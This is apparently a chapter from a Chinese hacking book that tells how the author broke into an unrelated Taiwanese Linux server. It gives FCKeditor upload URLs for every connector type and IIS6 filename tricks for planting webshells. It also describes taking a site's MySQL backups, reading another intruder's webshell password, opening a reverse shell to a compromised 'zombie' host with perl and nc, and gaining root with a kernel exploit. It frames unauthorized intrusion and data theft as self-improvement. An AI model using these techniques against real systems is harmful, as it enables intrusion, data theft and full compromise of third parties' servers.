3.1 利用FCKeditor漏洞渗透某Linux服务器
FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器,它使用简单,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java,以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的“FCK”是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。很多网站使用FCKeditor在线编辑器,目前最新版本为3.0.1,在FCKeditor编辑器早期版本由于过滤不严格、安全意识等原因除了多个漏洞,主要通过文件上传来获取WebShell。FCKeditor漏洞主要利用思路如下。
(1)通过Google等搜索引擎或者通过查看网站源代码来获取网站是否使用FCKeditor编辑器。在发布内容模块,也容易区分系统是否使用FCKeditor编辑器。
(2)获取或者猜测FCKeditor的安装目录。可以是手工也可以通过工具软件扫描目录获取FCKeditor的安装目录以及存在的文件。
(3)IIS6.0文件解析漏洞上传一句话木马或者WebShell。IIS6.0中存在一个文件解析漏洞,在以“*.asp”文件命名的目录下即使突破文件也能被解析执行。另外,文件名称类似“1.asp;1.jpg”的文件在上传时可以以asp文件被执行。
(4)直接上传WebShell。在获取了FCKeditor的安装路径后,可以浏览或者上传文件,例如在早期版本中输入这个地址可以直接上传文件:
fckeditor/editor/filemanager/browser/default/browser.html?Type=ImageConn ector=connectors/asp/connector.asp
下面以一个实际案例来讲解如何通过FCKeditor渗透台湾地区的某服务器。
3.1.1 一个Shell引发的渗透
Jsp的WebShell主要有JShell、JFold和jspFilebrowser三种,当然还有单独所谓“CMD”型的JSP后门,它主要功能就是执行类似CMD的命令。通过Google搜索“阿呆JSP WebShell”时出来一个JSP的网页地址,如图3-1所示,凭感觉知道第一个搜索记录就是一个WebShell地址。
图3-1 搜索WebShell
3.1.2 验证WebShell
直接打开第一个搜索记录,获取真实的网站地址:
“http://www.xxxxx.com/UserFiles/Image/IMG20090817235411840.jsp,打开后能够正常运行,如图3-2所示,输入一些常见的密码进行尝试登录,均未能成功!说明使用该WebShell使用的是自己的密码。
图3-2 测试WebShell
3.1.3 分析WebShell
拿到一个WebShell后第一感觉是该网站肯定存在漏洞,入侵者有可能修复过漏洞也可能未修复漏洞,从该地址来看很像FCKeditor编辑器,直接在网站地址后加上“FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connecto rs/jsp/connector”打开,如图3-3所示,直接打开了FCKeditor熟悉的上传页面。
图3-3 打开FCKeditor上传页面
说明:
FCKeditor编辑器的典型目录结构如图3-4所示,本例中的“UserFiles/ Image/”就属于这种结构。
图3-4
3.1.4 上传WebShell
在FCKeditor中单击浏览按钮直接选择一个JSP的WebShell文件,然后单击“Upload”按钮上传,如图3-5所示,上传成功。
图3-5 上传WebShell
技巧:
(1)在上传时可以先使用“Create New Folder”创建一个文件夹,如果能够创建说明权限较大,基本可以成功上传文件。
(2)在直接上传文件失败的情况下,可以尝试分别上传文件名称为“1.asp;1.jpg”和“1.asp;jpg”的一句话木马。
(3)在某些情况下还可以直接浏览当前目录的文件,可能会留下前任入侵者留下的现存WebShell。
(4)在“browser.html?Type=Image”中的Type有File、Flash和Image三种类型,可以在地址中进行修改,用来上传或者查看文件、Flash文件和图像文件。
(5)关于各种版本的FCKeditor上传利用地址:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Con nector=connectors
JSP版本:/jsp/connector
Asp版本:/asp/connector
Aspx版本:/aspx/connector
Cfm版本:/cfm/connector
3.1.5 测试上传的WebShell
由于FCKeditor的典型目录结构为“UserFiles/Image/”,因此上传的WebShell地址公式为“UserFiles/Image(File和Flash)/+文件名称”,在本例中是上传的Flash文件目录,因此实际地址为“http://www.xxxxx.com/UserFiles/Flash/Browser.jsp”,如图3-6所示,WebShell能够正常运行,此时就可以利用WebShell下载、上传、删除、复制以及执行命令等操作。
图3-6 测试上传的WebShell
3.1.6 对WebShell所在服务器进行分析与信息收集
(1)获取服务器类型
在获取WebShell后可以通过它来执行命令,查看服务器的配置情况,如图3-7所示,通过浏览文件目录可以看到该服务器为Linux服务器。
图3-7 获取服务器类型
(2)下载网站源代码与数据
渗透能够快速地提高个人能力,在渗透成功后通过下载网站源代码与数据到本地进行分析,取长补短学习他人长处,快速积累经验。在本例中通过查看该服务器下的“var/mysqlbak”目录,获取了该网站的数据库MySQL备份文件,如图3-8所示,通过WebShell可以下载单独的文件,也可以打包下载整个网站的文件。
图3-8 下载MySQL数据库
(3)获取他人WebShell密码
他人WebShell是本次渗透的动力,通过WebShell的地址去查看文件的实际地址,使用cat命令查看其登录密码:cat home/webhome/ xxxxx.com/WEB-INF/webapps/ROOT/ UserFiles/Image/IMG20090817235411840.jsp”,如图3-9所示,获取其密码为“191903***”
图3-9 获取WebShell的密码
3.1.7 服务器提权
(1)查看Linux版本
在WebShell中直接执行“uname -a”命令用以获取Linux的版本,结果显示为“Linux java.pumo.com.tw 2.6.9-11.ELsmp #1 SMP Fri May 20 18:26:27 EDT 2005 i686 i686 i386 GNU/Linux”,如图3-10所示。由图3-10可知该服务器的内核为2.6.9-11版本,目前Linux稳定的最新内核版本为2.6.32(Linux最新内核版本查看地址:http://kernel.org/pub/ linux/kernel/v2.6/),从这个版本可以判断该服务器可以较容易被提权。
图3-10 获取Linux内核版本
(2)查看操作系统
“/etc/issue”主要显示操作系统发行版本等信息,用户可以定制issue,也就是说可以手动修改,如果未修改则默认显示各个操作发行版本的信息,如图3-11所示,使用“cat/etc/issue”命令查看该操作系统的版本信息,结果显示该操作系统为红帽Linux企业版本,获取该信息的目的就是选择相应的溢出程序来提权。
图3-11 获取操作系统发行版本
(3)反弹回Shell
将反弹脚本c.pl上传到路径“/var/tmp”下,然后在受控计算机(肉鸡)上执行“nc -vv-l -p 53”,再然后在该WebShell中执行“perl /var/tmp/c.pl 202.102.xxx.xxx 53”,如图3-12所示,将该服务器反弹到肉鸡(202.102.xxx.xxx)的53端口上。
图3-12 编译反弹脚本
说明:执行成功后会给出一定的提示,否则表明编译未成功或者存在其他问题。在WebShell上执行成功后会在肉鸡上显示一个Shell,如图3-13所示,该Shell相当于一个终端,从反弹的结果来看,反弹回来的权限是普通用户的,为了全面控制系统需要获取Root权限。
图3-13 成功反弹
(4)尝试提权
通过WebShell上传最新的sendpage3利用程序,上传成功后,在反弹的Shell中进行查看上传的程序,然后直接执行“./run”命令,如图3-14所示,直接提权为Root用户权限。
图3-14 提权成功
3.1.8 总结与探讨
本案例通过FCKeditor漏洞成功获取WebShell后,然后通过查看Linux版本,操作系统的发行版本等信息,上传相应的漏洞利用程序,通过在反弹的终端执行exploit而获得系统的最高权限。从本质上来说,渗透的核心就是漏洞,只要找到漏洞,选择相应的溢出(漏洞)程序,就可以渗透成功!